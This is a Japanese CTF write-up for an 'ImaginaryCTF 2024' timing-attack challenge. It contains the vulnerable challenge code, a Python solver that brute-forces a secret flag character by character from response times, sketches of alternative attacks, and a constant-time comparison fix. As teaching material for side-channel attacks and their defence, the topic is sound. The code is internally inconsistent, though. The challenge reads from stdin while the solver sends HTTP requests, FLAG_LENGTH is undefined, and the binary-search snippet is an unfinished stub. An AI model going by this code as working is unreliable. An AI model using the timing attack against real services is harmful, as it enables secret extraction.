pyjail wiki

ImaginaryCTF 2024 - Ok Nice

Challenge

フラグの各文字を推測するタイミング攻撃問題。

import time
flag = open('flag.txt').read().strip()
while True:
guess = input("Guess: ")
if len(guess) != len(flag):
print("Wrong length!")
continue
for i, (g, f) in enumerate(zip(guess, flag)):
if g != f:
print(f"Wrong at position {i}")
break
time.sleep(0.1) # 正解文字ごとに遅延
else:
print("Correct!")
break

Solution

タイミング攻撃

応答時間の差からフラグを1文字ずつ特定:

import requests
import time
import string
url = "http://challenge.example.com/"
flag = "ictf{"
while not flag.endswith("}"):
best_char = ""
best_time = 0
for c in string.printable:
guess = flag + c + "x" * (FLAG_LENGTH - len(flag) - 1)
start = time.time()
r = requests.post(url, data={"guess": guess})
elapsed = time.time() - start
if elapsed > best_time:
best_time = elapsed
best_char = c
flag += best_char
print(f"Found: {flag}")

ord() による数値化

# ord() で文字を数値に変換してサイドチャネル
value = ord(flag[position])
# 数値を時間遅延やレスポンス長に変換

Technical Details

タイミングサイドチャネル

早期リターン (early return) パターンは、正解文字数に応じて処理時間が変化:

# 脆弱なパターン
for i in range(len(input)):
if input[i] != secret[i]:
return False # 不一致で即リターン
# 正解なら次の文字へ
return True

対策

# 定数時間比較
import hmac
hmac.compare_digest(input, secret)

Alternative Solutions

別解1: エラーメッセージベース

位置情報がエラーメッセージに含まれる場合:

# "Wrong at position 5" → 5文字目まで正解

別解2: バイナリサーチ

応答時間を使った効率的な探索:

# 各位置で二分探索
low, high = 32, 126
while low < high:
mid = (low + high) // 2
# mid を使ってテスト

Flag

ictf{...}

References

  • ImaginaryCTF 2024 Official
  • Timing Attack Wikipedia